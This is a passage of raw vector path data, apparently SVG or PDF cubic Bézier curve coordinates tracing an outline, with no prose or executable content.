84563.00C71420.33 84573.67 71409.67 84584.33 71399.00 84595.00C71420.33 84605.67 71441.67 84616.33 71463.00 84627.00C71452.33 84637.67 71441.67 84648.33 71431.00 84659.00C71441.67 84691.33 71452.33 84723.67 71463.00 84756.00C71463.00 84777.33 71463.00 84798.67 71463.00 84820.00C71474.00 84820.00 71485.00 84820.00 71496.00 84820.00C71496.00 84841.33 71496.00 84862.67 71496.00 84884.00C71485.00 84884.00 71474.00 84884.00 71463.00 84884.00C71463.00 84894.67 71463.00 84905.33 71463.00 84916.00C71474.00 84916.00 71485.00 84916.00 71496.00 84916.00C71496.00 84927.00 71496.00 84938.00 71496.00 84949.00C71485.00 84959.67 71474.00 84970.33 71463.00 84981.00C71484.67 84981.00 71506.33 84981.00 71528.00 84981.00C71528.00 84991.67 71528.00 85002.33 71528.00 85013.00C71517.33 85013.00 71506.67 85013.00 71496.00 85013.00C71506.67 85023.67 71517.33 85034.33 71528.00 85045.00C71517.33 85055.67 71506.67 85066.33 71496.00 85077.00C71506.67 85087.67 71517.33 85098.33 71528.00 85109.00C71517.33 85109.00 71506.67 85109.00 71496.00 85109.00C71506.67 85130.67 71517.33 85152.33 71528.00 85174.00C71506.33 85184.67 71484.67 85195.33 71463.00 85206.00C71474.00 85195.33 71485.00 85184.67 71496.00 85174.00C71506.67 85184.67 71517.33 85195.33 71528.00 85206.00C71528.00 85238.00 71528.00 85270.00 71528.00 85302.00C71528.00 85291.33 71528.00 85280.67 71528.00 85270.00C71538.67 85270.00 71549.33 85270.00 71560.00 85270.00C71560.00 85280.67 71560.00 85291.33 71560.00 85302.00C71570.67 85302.00 71581.33 85302.00 71592.00 85302.00C71592.00 85312.67 71592.00 85323.33 71592.00 85334.00C71602.67 85344.67 71613.33 85355.33 71624.00 85366.00C71624.00 85387.67 71624.00 85409.33 71624.00 85431.00C71660.99 85449.53 71698.00 85468.04 71735.16 85486.22C71741.11 85489.15 71747.05 85492.07 71753.00 85495.00C71763.67 85484.33 71774.33 85473.67 71785.00 85463.00C71795.67 85473.67 71806.33 85484.33 71817.00 85495.00C71827.67 85484.33 71838.33 85473.67 71849.00 85463.00C71859.67 85473.67 71870.33 85484.33 71881.00 85495.00C71902.67 85484.33 71924.33 85473.67 71946.00 85463.00C71967.33 85495.00 71988.67 85527.00 72010.00 85559.00C72020.67 85559.00 72031.33 85559.00 72042.00 85559.00C72052.67 85570.00 72063.33 85581.00 72074.00 85592.00C72063.33 85613.33 72052.67 85634.67 72042.00 85656.00C72052.67 85677.33 72063.33 85698.67 72074.00 85720.00C72074.00 85741.33 72074.00 85762.67 72074.00 85784.00C72063.33 85784.00 72052.67 85784.00 72042.00 85784.00C72074.33 85805.67 72106.67 85827.33 72139.00 85849.00C72128.33 85859.67 72117.67 85870.33 72107.00 85881.00C72117.67 85891.67 72128.33 85902.33 72139.00 85913.00C72139.00 85923.67 72139.00 85934.33 72139.00 85945.00C72117.33 85945.00 72095.67 85945.00 72074.00 85945.00C72095.67 85955.67 72117.33 85966.33 72139.00 85977.00C72139.00 85988.00 72139.00 85999.00 72139.00 86010.00C72123.46 86040.95 72108.21 86072.05 72092.17 86102.75C72086.12 86114.50 72080.06 86126.25 72074.00 86138.00C72095.67 86138.00 72117.33 86138.00 72139.00 86138.00C72139.00 86159.33 72139.00 86180.67 72139.00 86202.00C72149.67 86213.00 72160.33 86224.00 72171.00 86235.00C72171.00 86245.67 72171.00 86256.33 72171.00 86267.00C72181.67 86267.00 72192.33 86267.00 72203.00 86267.00C72203.00 86277.67 72203.00 86288.33 72203.00 86299.00C72213.67 86299.00 72224.33 86299.00 72235.00 86299.00C72267.33 86320.33 72299.67 86341.67 72332.00 86363.00C72342.67 86395.33 72353.33 86427.67 72364.00 86460.00C72374.67 86460.00 72385.33 86460.00 72396.00 86460.00C72417.33 86492.00 72438.67 86524.00 72460.00 86556.00C72460.00 86652.67 72460.00 86749.33 72460.00 86846.00C72449.33 86856.67 72438.67 86867.33 72428.00 86878.00C72428.00 86899.33 72428.00 86920.67 72428.00 86942.00C72438.67 86974.00 72449.33 87006.00 72460.00 87038.00C72460.00 87049.00 72460.00 87060.00 72460.00 87071.00C72470.67 87092.33 72481.33 87113.67 72492.00 87135.00C72492.00 87156.33 72492.00 87177.67 72492.00 87199.00C72502.67 87199.00 72513.33 87199.00 72524.00 87199.00C72706.33 87349.00 72888.67 87499.00 73071.00 87649.00C73039.00 87660.00 73007.00 87671.00 72975.00 87682.00C72953.33 87703.33 72931.67 87724.67 72910.00 87746.00C72910.00 87756.67 72910.00 87767.33 72910.00 87778.00C72888.67 87799.33 72867.33 87820.67 72846.00 87842.00C72846.00 87863.67 72846.00 87885.33 72846.00 87907.00C72835.33 87907.00 72824.67 87907.00 72814.00 87907.00C72803.33 87917.67 72792.67 87928.33 72782.00 87939.00C72782.00 87960.33 72782.00 87981.67 72782.00 88003.00C72760.33 88024.33 72738.67 88045.67 72717.00 88067.00C72727.67 88120.67 72738.33 88174.33 72749.00 88228.00C72738.33 88249.33 72727.67 88270.67 72717.00 88292.00C72706.33 88303.00 72695.67 88314.00 72685.00 88325.00C72663.67 88335.67 72642.33 88346.33 72621.00 88357.00C72599.67 88346.33 72578.33 88335.67 72557.00 88325.00C72546.00 88314.00 72535.00 88303.00 72524.00 88292.00C72502.67 88303.00 72481.33 88314.00 72460.00 88325.00C72460.00 88314.00 72460.00 88303.00 72460.00 88292.00C72449.33 88303.00 72438.67 88314.00 72428.00 88325.00C72396.00 88325.00 72364.00 88325.00 72332.00 88325.00C72332.00 88335.67 72332.00 88346.33 72332.00 88357.00C72321.00 88357.00 72310.00 88357.00 72299.00 88357.00C72299.00 88378.33 72299.00 88399.67 72299.00 88421.00C72267.00 88431.67 72235.00 88442.33 72203.00 88453.00C72171.00 88496.00 72139.00 88539.00 72107.00 88582.00C72064.00 88592.67 72021.00 88603.33 71978.00 88614.00C71952.60 88639.56 71926.92 88664.82 71901.23 88690.08C71889.28 88701.78 71877.37 88713.52 71865.84 88725.63C71860.23 88731.42 71854.61 88737.21 71849.00 88743.00C71849.00 88764.33 71849.00 88785.67 71849.00 88807.00C71838.33 88839.00 71827.67 88871.00 71817.00 88903.00C71806.33 88903.00 71795.67 88903.00 71785.00 88903.00C71763.67 88913.67 71742.33 88924.33 71721.00 88935.00C71699.33 88956.67 71677.67 88978.33 71656.00 89000.00C71666.67 89021.33 71677.33 89042.67 71688.00 89064.00C71688.00 89085.33 71688.00 89106.67 71688.00 89128.00C71666.67 89160.33 71645.33 89192.67 71624.00 89225.00C71624.00 89268.00 71624.00 89311.00 71624.00 89354.00C71602.67 89407.33 71581.33 89460.67 71560.00 89514.00C71560.00 89546.33 71560.00 89578.67 71560.00 89611.00C71581.33 89664.33 71602.67 89717.67 71624.00 89771.00C71624.00 89814.00 71624.00 89857.00 71624.00 89900.00C71613.33 89953.67 71602.67 90007.33 71592.00 90061.00C71602.67 90136.00 71613.33 90211.00 71624.00 90286.00C71613.33 90318.00 71602.67 90350.00 71592.00 90382.00C71560.00 90414.33 71528.00 90446.67 71496.00 90479.00C71474.33 90543.33 71452.67 90607.67 71431.00 90672.00C71409.67 90672.00 71388.33 90672.00 71367.00 90672.00C71356.33 90693.33 71345.67 90714.67 71335.00 90736.00C71324.33 90725.33 71313.67 90714.67 71303.00 90704.00C71281.33 90704.00 71259.67 90704.00 71238.00 90704.00C71227.33 90714.67 71216.67 90725.33 71206.00 90736.00C71174.00 90725.33 71142.00 90714.67 71110.00 90704.00C71099.33 90714.67 71088.67 90725.33 71078.00 90736.00C71078.00 90746.67 71078.00 90757.33 71078.00 90768.00C71067.00 90778.67 71056.00 90789.33 71045.00 90800.00C71034.33 90821.67 71023.67 90843.33 71013.00 90865.00C71002.33 90875.67 70991.67 90886.33 70981.00 90897.00C70981.00 90929.00 70981.00 90961.00 70981.00 90993.00C70970.33 90993.00 70959.67 90993.00 70949.00 90993.00C70938.33 91003.67 70927.67 91014.33 70917.00 91025.00C70895.33 91025.00 70873.67 91025.00 70852.00 91025.00C70852.00 91046.67 70852.00 91068.33 70852.00 91090.00C70841.33 91111.33 70830.67 91132.67 70820.00 91154.00C70809.33 91154.00 70798.67 91154.00 70788.00 91154.00C70766.67 91186.33 70745.33 91218.67 70724.00 91251.00C70702.67 91251.00 70681.33 91251.00 70660.00 91251.00C70660.00 91272.33 70660.00 91293.67 70660.00 91315.00C70649.00 91325.67 70638.00 91336.33 70627.00 91347.00C70638.00 91357.67 70649.00 91368.33 70660.00 91379.00C70660.00 91400.33 70660.00 91421.67 70660.00 91443.00C70670.67 91454.00 70681.33 91465.00 70692.00 91476.00C70681.33 91497.33 70670.67 91518.67 70660.00 91540.00C70681.33 91550.67 70702.67 91561.33 70724.00 91572.00C70681.00 91625.67 70638.00 91679.33 70595.00 91733.00C70573.67 91733.00 70552.33 91733.00 70531.00 91733.00C70531.00 91765.00 70531.00 91797.00 70531.00 91829.00C70509.67 91861.33 70488.33 91893.67 70467.00 91926.00C70467.00 91947.33 70467.00 91968.67 70467.00 91990.00C70456.33 91990.00 70445.67 91990.00 70435.00 91990.00C70435.00 92033.00 70435.00 92076.00 70435.00 92119.00C70424.00 92119.00 70413.00 92119.00 70402.00 92119.00C70391.33 92151.00 70380.67 92183.00 70370.00 92215.00C70348.67 92215.00 70327.33 92215.00 70306.00 92215.00C70306.00 92247.33 70306.00 92279.67 70306.00 92312.00C70295.33 92322.67 70284.67 92333.33 70274.00 92344.00C70274.00 92333.33 70274.00 92322.67 70274.00 92312.00C70274.00 92333.33 70274.00 92354.67 70274.00 92376.00C70263.33 92397.33 70252.67 92418.67 70242.00 92440.00C70231.00 92440.00 70220.00 92440.00 70209.00 92440.00C70220.00 92461.67 70231.00 92483.33 70242.00 92505.00C70242.00 92558.33 70242.00 92611.67 70242.00 92665.00C70231.00 92665.00 70220.00 92665.00 70209.00 92665.00C70209.00 92675.67 70209.00 92686.33 70209.00 92697.00C70198.33 92697.00 70187.67 92697.00 70177.00 92697.00C70177.00 92729.33 70177.00 92761.67 70177.00 92794.00C70198.67 92815.33 70220.33 92836.67 70242.00 92858.00C70220.33 92868.67 70198.67 92879.33 70177.00 92890.00C70177.00 92933.00 70177.00 92976.00 70177.00 93019.00C70166.33 93040.33 70155.67 93061.67 70145.00 93083.00C70123.67 93083.00 70102.33 93083.00 70081.00 93083.00C70081.00 93093.67 70081.00 93104.33 70081.00 93115.00C70070.33 93115.00 70059.67 93115.00 70049.00 93115.00C70016.67 93147.33 69984.33 93179.67 69952.00 93212.00C69952.00 93222.67 69952.00 93233.33 69952.00 93244.00C69909.33 93254.67 69866.67 93265.33 69824.00 93276.00C69813.00 93265.33 69802.00 93254.67 69791.00 93244.00C69769.67 93254.67 69748.33 93265.33 69727.00 93276.00C69716.33 93286.67 69705.67 93297.33 69695.00 93308.00C69695.00 93297.33 69695.00 93286.67 69695.00 93276.00C69663.00 93286.67 69631.00 93297.33 69599.00 93308.00C69556.00 93340.33 69513.00 93372.67 69470.00 93405.00C69470.00 93437.00 69470.00 93469.00 69470.00 93501.00C69448.67 93501.00 69427.33 93501.00 69406.00 93501.00C69406.00 93511.67 69406.00 93522.33 69406.00 93533.00C69395.00 93533.00 69384.00 93533.00 69373.00 93533.00C69362.23 93544.04 69351.58 93555.22 69340.74 93566.17C69308.83 93587.45 69276.91 93608.72 69245.00 93630.00C69234.33 93630.00 69223.67 93630.00 69213.00 93630.00C69202.33 93640.67 69191.67 93651.33 69181.00 93662.00C69170.00 93662.00 69159.00 93662.00 69148.00 93662.00C69126.67 93651.33 69105.33 93640.67 69084.00 93630.00C69052.00 93640.67 69020.00 93651.33 68988.00 93662.00C68988.00 93672.67 68988.00 93683.33 68988.00 93694.00C68977.00 93704.67 68966.00 93715.33 68955.00 93726.00C68955.00 93747.67 68955.00 93769.33 68955.00 93791.00C68944.33 93780.00 68933.67 93769.00 68923.00 93758.00C68912.33 93779.67 68901.67 93801.33 68891.00 93823.00C68869.67 93823.00 68848.33 93823.00 68827.00 93823.00C68827.00 93833.67 68827.00 93844.33 68827.00 93855.00C68816.33 93855.00 68805.67 93855.00 68795.00 93855.00C68795.00 93865.67 68795.00 93876.33 68795.00 93887.00C68773.33 93897.67 68751.67 93908.33 68730.00 93919.00C68730.00 93940.67 68730.00 93962.33 68730.00 93984.00C68719.33 93994.67 68708.67 94005.33 68698.00 94016.00C68708.67 94026.67 68719.33 94037.33 68730.00 94048.00C68719.33 94048.00 68708.67 94048.00 68698.00 94048.00C68687.33 94058.67 68676.67 94069.33 68666.00 94080.00C68676.67 94080.00 68687.33 94080.00 68698.00 94080.00C68687.33 94080.00 68676.67 94080.00 68666.00 94080.00C68676.67 94090.67 68687.33 94101.33 68698.00 94112.00C68687.33 94122.67 68676.67 94133.33 68666.00 94144.00C68655.33 94144.00 68644.67 94144.00 68634.00 94144.00C68634.00 94155.00 68634.00 94166.00 68634.00 94177.00C68623.33 94177.00 68612.67 94177.00 68602.00 94177.00C68602.00 94187.67 68602.00 94198.33 68602.00 94209.00C68612.67 94219.67 68623.33 94230.33 68634.00 94241.00C68623.33 94251.67 68612.67 94262.33 68602.00 94273.00C68559.00 94251.67 68516.00 94230.33 68473.00 94209.00C68451.67 94219.67 68430.33 94230.33 68409.00 94241.00C68387.67 94230.33 68366.33 94219.67 68345.00 94209.00C68345.00 94176.67 68345.00 94144.33 68345.00 94112.00C68334.00 94112.00 68323.00 94112.00 68312.00 94112.00C68290.56 94101.31 68269.17 94090.52 68247.71 94079.90C68215.80 94069.27 68183.90 94058.63 68152.00 94048.00C68141.00 94026.67 68130.00 94005.33 68119.00 93984.00C68097.67 93973.00 68076.33 93962.00 68055.00 93951.00C68033.67 93951.00 68012.33 93951.00 67991.00 93951.00C67937.33 93929.67 67883.67 93908.33 67830.00 93887.00C67819.33 93865.67 67808.67 93844.33 67798.00 93823.00C67755.00 93790.67 67712.00 93758.33 67669.00 93726.00C67647.67 93683.33 67626.33 93640.67 67605.00 93598.00C67615.67 93576.33 67626.33 93554.67 67637.00 93533.00C67626.33 93522.33 67615.67 93511.67 67605.00 93501.00C67594.33 93501.00 67583.67 93501.00 67573.00 93501.00C67540.67 93522.67 67508.33 93544.33 67476.00 93566.00C67465.33 93566.00 67454.67 93566.00 67444.00 93566.00C67433.33 93544.33 67422.67 93522.67 67412.00 93501.00C67380.00 93501.00 67348.00 93501.00 67316.00 93501.00C67316.00 93511.67 67316.00 93522.33 67316.00 93533.00C67283.67 93544.00 67251.33 93555.00 67219.00 93566.00C67208.33 93523.00 67197.67 93480.00 67187.00 93437.00C67197.67 93437.00 67208.33 93437.00 67219.00 93437.00C67229.67 93447.67 67240.33 93458.33 67251.00 93469.00C67251.00 93458.33 67251.00 93447.67 67251.00 93437.00C67240.33 93426.33 67229.67 93415.67 67219.00 93405.00C67219.00 93383.67 67219.00 93362.33 67219.00 93341.00C67229.67 93330.00 67240.33 93319.00 67251.00 93308.00C67261.67 93319.00 67272.33 93330.00 67283.00 93341.00C67294.00 93330.00 67305.00 93319.00 67316.00 93308.00C67273.00 93286.67 67230.00 93265.33 67187.00 93244.00C67165.67 93254.67 67144.33 93265.33 67123.00 93276.00C67101.33 93265.33 67079.67 93254.67 67058.00 93244.00C67036.67 93244.00 67015.33 93244.00 66994.00 93244.00C66994.00 93254.67 66994.00 93265.33 66994.00 93276.00C67026.33 93286.67 67058.67 93297.33 67091.00 93308.00C67080.00 93319.00 67069.00 93330.00 67058.00 93341.00C67036.67 93351.67 67015.33 93362.33 66994.00 93373.00C66983.33 93373.00 66972.67 93373.00 66962.00 93373.00C66951.33 93351.33 66940.67 93329.67 66930.00 93308.00C66919.33 93308.00 66908.67 93308.00 66898.00 93308.00C66876.33 93297.33 66854.67 93286.67 66833.00 93276.00C66822.33 93276.00 66811.67 93276.00 66801.00 93276.00C66801.00 93297.67 66801.00 93319.33 66801.00 93341.00C66790.33 93362.33 66779.67 93383.67 66769.00 93405.00C66769.00 93415.67 66769.00 93426.33 66769.00 93437.00C66758.33 93447.67 66747.67 93458.33 66737.00 93469.00C66704.67 93447.67 66672.33 93426.33 66640.00 93405.00C66618.67 93426.33 66597.33 93447.67 66576.00 93469.00C66586.67 93437.00 66597.33 93405.00 66608.00 93373.00C66597.33 93373.00 66586.67 93373.00 66576.00 93373.00C66565.33 93383.67 66554.67 93394.33 66544.00 93405.00C66554.67 93415.67 66565.33 93426.33 66576.00 93437.00C66565.33 93447.67 66554.67 93458.33 66544.00 93469.00C66533.33 93458.33 66522.67 93447.67 66512.00 93437.00C66512.00 93426.33 66512.00 93415.67 66512.00 93405.00C66490.67 93394.33 66469.33 93383.67 66448.00 93373.00C66426.33 93373.00 66404.67 93373.00 66383.00 93373.00C66383.00 93362.33 66383.00 93351.67 66383.00 93341.00C66372.33 93362.33 66361.67 93383.67 66351.00 93405.00C66361.67 93415.67 66372.33 93426.33 66383.00 93437.00C66361.67 93458.33 66340.33 93479.67 66319.00 93501.00C66297.67 93479.67 66276.33 93458.33 66255.00 93437.00C66233.33 93447.67 66211.67 93458.33 66190.00 93469.00C66158.00 93437.00 66126.00 93405.00 66094.00 93373.00C66094.00 93351.33 66094.00 93329.67 66094.00 93308.00C66061.67 93308.00 66029.33 93308.00 65997.00 93308.00C65975.67 93319.00 65954.33 93330.00 65933.00 93341.00C65922.33 93330.00 65911.67 93319.00 65901.00 93308.00C65901.00 93286.67 65901.00 93265.33 65901.00 93244.00C65879.67 93233.33 65858.33 93222.67 65837.00 93212.00C65826.00 93212.00 65815.00 93212.00 65804.00 93212.00C65815.00 93244.00 65826.00 93276.00 65837.00 93308.00C65815.33 93319.00 65793.67 93330.00 65772.00 93341.00C65729.33 93341.00 65686.67 93341.00 65644.00 93341.00C65644.00 93362.33 65644.00 93383.67 65644.00 93405.00C65569.00 93405.00 65494.00 93405.00 65419.00 93405.00C65386.67 93415.67 65354.33 93426.33 65322.00 93437.00C65332.67 93458.33 65343.33 93479.67 65354.00 93501.00C65332.67 93501.00 65311.33 93501.00 65290.00 93501.00C65268.56 93511.69 65247.17 93522.48 65225.71 93533.10C65161.47 93554.73 65097.24 93576.37 65033.00 93598.00C65000.67 93576.33 64968.33 93554.67 64936.00 93533.00C64904.00 93533.00 64872.00 93533.00 64840.00 93533.00C64803.01 93514.47 64766.00 93495.96 64728.84 93477.78C64722.89 93474.85 64716.95 93471.93 64711.00 93469.00C64711.00 93458.33 64711.00 93447.67 64711.00 93437.00C64679.00 93426.33 64647.00 93415.67 64615.00 93405.00C64593.33 93405.00 64571.67 93405.00 64550.00 93405.00C64539.33 93394.33 64528.67 93383.67 64518.00 93373.00C64528.67 93340.67 64539.33 93308.33 64550.00 93276.00C64539.33 93265.33 64528.67 93254.67 64518.00 93244.00C64507.33 93254.67 64496.67 93265.33 64486.00 93276.00C64486.00 93286.67 64486.00 93297.33 64486.00 93308.00C64464.67 93308.00 64443.33 93308.00 64422.00 93308.00C64400.33 93329.67 64378.67 93351.33 64357.00 93373.00C64346.33 93373.00 64335.67 93373.00 64325.00 93373.00C64325.00 93351.33 64325.00 93329.67 64325.00 93308.00C64314.33 93308.00 64303.67 93308.00 64293.00 93308.00C64293.00 93329.67 64293.00 93351.33 64293.00 93373.00C64282.33 93373.00 64271.67 93373.00 64261.00 93373.00C64239.67 93362.33 64218.33 93351.67 64197.00 93341.00C64197.00 93362.33 64197.00 93383.67 64197.00 93405.00C64186.24 93404.93 64175.44 93405.13 64164.71 93404.90C64132.47 93394.27 64100.24 93383.63 64068.00 93373.00C64068.00 93362.33 64068.00 93351.67 64068.00 93341.00C64046.67 93351.67 64025.33 93362.33 64004.00 93373.00C63982.67 93351.33 63961.33 93329.67 63940.00 93308.00C63950.67 93319.00 63961.33 93330.00 63972.00 93341.00C63950.17 93351.80 63928.24 93362.42 63906.48 93373.35C63874.65 93394.56 63842.83 93415.78 63811.00 93437.00C63800.33 93426.33 63789.67 93415.67 63779.00 93405.00C63779.00 93415.67 63779.00 93426.33 63779.00 93437.00C63757.33 93437.00 63735.67 93437.00 63714.00 93437.00C63703.33 93426.33 63692.67 93415.67 63682.00 93405.00C63671.33 93415.67 63660.67 93426.33 63650.00 93437.00C63660.67 93447.67 63671.33 93458.33 63682.00 93469.00C63671.33 93479.67 63660.67 93490.33 63650.00 93501.00C63639.33 93501.00 63628.67 93501.00 63618.00 93501.00C63618.00 93469.00 63618.00 93437.00 63618.00 93405.00C63607.33 93405.00 63596.67 93405.00 63586.00 93405.00C63575.33 93426.33 63564.67 93447.67 63554.00 93469.00C63543.00 93479.67 63532.00 93490.33 63521.00 93501.00C63489.00 93490.33 63457.00 93479.67 63425.00 93469.00C63414.33 93458.33 63403.67 93447.67 63393.00 93437.00C63393.00 93458.33 63393.00 93479.67 63393.00 93501.00C63382.33 93501.00 63371.67 93501.00 63361.00 93501.00C63361.00 93490.33 63361.00 93479.67 63361.00 93469.00C63339.33 93479.67 63317.67 93490.33 63296.00 93501.00C63285.33 93522.67 63274.67 93544.33 63264.00 93566.00C63264.00 93523.00 63264.00 93480.00 63264.00 93437.00C63253.33 93437.00 63242.67 93437.00 63232.00 93437.00C63221.33 93458.33 63210.67 93479.67 63200.00 93501.00C63178.67 93490.33 63157.33 93479.67 63136.00 93469.00C63136.00 93437.00 63136.00 93405.00 63136.00 93373.00C63114.33 93351.33 63092.67 93329.67 63071.00 93308.00C63071.00 93243.67 63071.00 93179.33 63071.00 93115.00C63049.67 93072.33 63028.33 93029.67 63007.00 92987.00C63007.00 92976.33 63007.00 92965.67 63007.00 92955.00C62985.67 92965.67 62964.33 92976.33 62943.00 92987.00C62932.33 92987.00 62921.67 92987.00 62911.00 92987.00C62889.33 92976.33 62867.67 92965.67 62846.00 92955.00C62846.00 92944.33 62846.00 92933.67 62846.00 92923.00C62824.67 92901.33 62803.33 92879.67 62782.00 92858.00C62771.33 92868.67 62760.67 92879.33 62750.00 92890.00C62739.33 92879.33 62728.67 92868.67 62718.00 92858.00C62696.33 92858.00 62674.67 92858.00 62653.00 92858.00C62664.00 92836.67 62675.00 92815.33 62686.00 92794.00C62675.00 92783.33 62664.00 92772.67 62653.00 92762.00C62642.33 92762.00 62631.67 92762.00 62621.00 92762.00C62631.67 92740.33 62642.33 92718.67 62653.00 92697.00C62642.33 92686.33 62631.67 92675.67 62621.00 92665.00C62589.00 92654.33 62557.00 92643.67 62525.00 92633.00C62525.00 92643.67 62525.00 92654.33 62525.00 92665.00C62535.67 92665.00 62546.33 92665.00 62557.00 92665.00C62546.33 92675.67 62535.67 92686.33 62525.00 92697.00C62503.33 92665.00 62481.67 92633.00 62460.00 92601.00C62460.00 92558.00 62460.00 92515.00 62460.00 92472.00C62438.67 92472.00 62417.33 92472.00 62396.00 92472.00C62385.33 92483.00 62374.67 92494.00 62364.00 92505.00C62342.67 92472.67 62321.33 92440.33 62300.00 92408.00C62278.33 92408.00 62256.67 92408.00 62235.00 92408.00C62235.00 92365.00 62235.00 92322.00 62235.00 92279.00C62213.67 92290.00 62192.33 92301.00 62171.00 92312.00C62149.67 92301.00 62128.33 92290.00 62107.00 92279.00C62107.00 92268.33 62107.00 92257.67 62107.00 92247.00C62096.33 92247.00 62085.67 92247.00 62075.00 92247.00C62064.33 92225.67 62053.67 92204.33 62043.00 92183.00C62021.33 92161.67 61999.67 92140.33 61978.00 92119.00C61978.00 92108.33 61978.00 92097.67 61978.00 92087.00C61988.67 92065.33 61999.33 92043.67 62010.00 92022.00C62010.00 91990.00 62010.00 91958.00 62010.00 91926.00C61999.33 91915.33 61988.67 91904.67 61978.00 91894.00C61967.33 91840.33 61956.67 91786.67 61946.00 91733.00C61956.67 91711.67 61967.33 91690.33 61978.00 91669.00C61960.77 91651.22 61943.61 91633.37 61925.98 91615.98C61921.99 91611.99 61918.00 91607.99 61914.00 91604.00C61903.33 91604.00 61892.67 91604.00 61882.00 91604.00C61871.33 91625.67 61860.67 91647.33 61850.00 91669.00C61839.00 91669.00 61828.00 91669.00 61817.00 91669.00C61806.33 91647.33 61795.67 91625.67 61785.00 91604.00C61763.67 91582.67 61742.33 91561.33 61721.00 91540.00C61721.00 91507.67 61721.00 91475.33 61721.00 91443.00C61699.67 91443.00 61678.33 91443.00 61657.00 91443.00C61657.00 91486.00 61657.00 91529.00 61657.00 91572.00C61646.00 91593.33 61635.00 91614.67 61624.00 91636.00C61602.67 91625.33 61581.33 91614.67 61560.00 91604.00C61560.00 91561.33 61560.00 91518.67 61560.00 91476.00C61538.67 91454.33 61517.33 91432.67 61496.00 91411.00C61485.33 91411.00 61474.67 91411.00 61464.00 91411.00C61453.33 91432.67 61442.67 91454.33 61432.00 91476.00C61421.00 91465.00 61410.00 91454.00 61399.00 91443.00C61388.33 91443.00 61377.67 91443.00 61367.00 91443.00C61356.33 91486.00 61345.67 91529.00 61335.00 91572.00C61313.67 91572.00 61292.33 91572.00 61271.00 91572.00C61271.00 91582.67 61271.00 91593.33 61271.00 91604.00C61249.67 91593.33 61228.33 91582.67 61207.00 91572.00C61217.67 91593.33 61228.33 91614.67 61239.00 91636.00C61228.33 91636.00 61217.67 91636.00 61207.00 91636.00C61185.33 91614.67 61163.67 91593.33 61142.00 91572.00C61131.33 91582.67 61120.67 91593.33 61110.00 91604.00C61099.33 91582.67 61088.67 91561.33 61078.00 91540.00C61056.67 91540.00 61035.33 91540.00 61014.00 91540.00C61003.00 91561.33 60992.00 91582.67 60981.00 91604.00C60970.33 91582.67 60959.67 91561.33 60949.00 91540.00C60927.67 91561.33 60906.33 91582.67 60885.00 91604.00C60885.00 91593.33 60885.00 91582.67 60885.00 91572.00C60895.67 91572.00 60906.33 91572.00 60917.00 91572.00C60906.33 91561.33 60895.67 91550.67 60885.00 91540.00C60874.33 91550.67 60863.67 91561.33 60853.00 91572.00C60831.33 91561.33 60809.67 91550.67 60788.00 91540.00C60777.33 91550.67 60766.67 91561.33 60756.00 91572.00C60734.67 91550.67 60713.33 91529.33 60692.00 91508.00C60681.33 91518.67 60670.67 91529.33 60660.00 91540.00C60649.33 91529.33 60638.67 91518.67 60628.00 91508.00C60628.00 91475.67 60628.00 91443.33 60628.00 91411.00C60606.33 91443.33 60584.67 91475.67 60563.00 91508.00C60552.33 91486.33 60541.67 91464.67 60531.00 91443.00C60509.67 91421.67 60488.33 91400.33 60467.00 91379.00C60467.00 91347.00 60467.00 91315.00 60467.00 91283.00C60456.33 91272.33 60445.67 91261.67 60435.00 91251.00C60424.33 91251.00 60413.67 91251.00 60403.00 91251.00C60392.33 91272.33 60381.67 91293.67 60371.00 91315.00C60360.00 91304.33 60349.00 91293.67 60338.00 91283.00C60349.00 91261.33 60360.00 91239.67 60371.00 91218.00C60371.00 91207.33 60371.00 91196.67 60371.00 91186.00C60360.00 91186.00 60349.00 91186.00 60338.00 91186.00C60327.33 91207.67 60316.67 91229.33 60306.00 91251.00C60295.33 91251.00 60284.67 91251.00 60274.00 91251.00C60274.00 91218.67 60274.00 91186.33 60274.00 91154.00C60263.33 91154.00 60252.67 91154.00 60242.00 91154.00C60231.33 91164.67 60220.67 91175.33 60210.00 91186.00C60220.67 91207.67 60231.33 91229.33 60242.00 91251.00C60209.67 91261.67 60177.33 91272.33 60145.00 91283.00C60113.00 91250.67 60081.00 91218.33 60049.00 91186.00C60027.67 91196.67 60006.33 91207.33 59985.00 91218.00C59963.33 91218.00 59941.67 91218.00 59920.00 91218.00C59813.08 91164.51 59706.00 91111.34 59599.00 91058.00C59599.00 91036.33 59599.00 91014.67 59599.00 90993.00C59620.33 90982.33 59641.67 90971.67 59663.00 90961.00C59652.33 90950.33 59641.67 90939.67 59631.00 90929.00C59609.67 90939.67 59588.33 90950.33 59567.00 90961.00C59556.33 90961.00 59545.67 90961.00 59535.00 90961.00C59524.00 90950.33 59513.00 90939.67 59502.00 90929.00C59513.00 90907.67 59524.00 90886.33 59535.00 90865.00C59535.00 90854.33 59535.00 90843.67 59535.00 90833.00C59502.67 90833.00 59470.33 90833.00 59438.00 90833.00C59448.67 90800.67 59459.33 90768.33 59470.00 90736.00C59470.00 90725.33 59470.00 90714.67 59470.00 90704.00C59459.33 90704.00 59448.67 90704.00 59438.00 90704.00C59416.67 90714.67 59395.33 90725.33 59374.00 90736.00C59374.00 90746.67 59374.00 90757.33 59374.00 90768.00C59352.33 90789.67 59330.67 90811.33 59309.00 90833.00C59277.00 90833.00 59245.00 90833.00 59213.00 90833.00C59213.00 90854.33 59213.00 90875.67 59213.00 90897.00C59202.33 90886.33 59191.67 90875.67 59181.00 90865.00C59170.33 90875.67 59159.67 90886.33 59149.00 90897.00C59127.33 90886.33 59105.67 90875.67 59084.00 90865.00C59073.33 90886.33 59062.67 90907.67 59052.00 90929.00C59052.00 90950.33 59052.00 90971.67 59052.00 90993.00C59030.67 90971.67 59009.33 90950.33 58988.00 90929.00C58988.00 90907.67 58988.00 90886.33 58988.00 90865.00C58977.33 90865.00 58966.67 90865.00 58956.00 90865.00C58945.33 90897.00 58934.67 90929.00 58924.00 90961.00C58891.67 90950.33 58859.33 90939.67 58827.00 90929.00C58805.63 90896.90 58784.17 90864.85 58762.86 90832.72C58741.57 90789.81 58720.29 90746.91 58699.00 90704.00C58699.00 90661.00 58699.00 90618.00 58699.00 90575.00C58666.67 90564.33 58634.33 90553.67 58602.00 90543.00C58580.67 90564.33 58559.33 90585.67 58538.00 90607.00C58527.33 90607.00 58516.67 90607.00 58506.00 90607.00C58495.00 90596.33 58484.00 90585.67 58473.00 90575.00C58484.00 90553.67 58495.00 90532.33 58506.00 90511.00C58484.33 90489.67 58462.67 90468.33 58441.00 90447.00C58430.33 90447.00 58419.67 90447.00 58409.00 90447.00C58387.67 90404.00 58366.33 90361.00 58345.00 90318.00C58323.67 90307.33 58302.33 90296.67 58281.00 